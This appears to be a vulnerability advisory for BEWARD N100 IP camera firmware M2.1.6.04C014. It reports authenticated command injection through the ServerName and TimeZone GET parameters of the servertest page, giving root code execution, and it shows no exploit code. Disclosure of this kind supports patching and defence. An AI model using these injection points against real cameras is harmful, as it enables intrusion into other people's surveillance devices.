BEWARD N100 H.264 VGA IP Camera M2.1.6 Root Remote Code Execution


Vendor: Beward R&D Co., Ltd
Product web page: https://www.beward.net
Affected version: M2.1.6.04C014

Summary: The N100 compact color IP camera with support for a more efficient
compression format is optimized for low-speed networks, thanks to which it
transmits a real-time image over the network with minimal delays. The camera
supports the switching of the broadcast modes, and in the event of a break in
communication with the remote file storage, it can continue recording to the
microSDHC memory card. N100 is easy to install and configure, has all the
necessary arsenal for the organization of low-cost professional video surveillance
systems.

Desc: The camera suffers from two authenticated command injection vulnerabilities.
The issues can be triggered when calling ServerName or TimeZone GET parameters
via the servertest page. This can be exploited to inject arbitrary system commands
and gain root remote code execution.

Tested on: Boa/0.94.14rc21
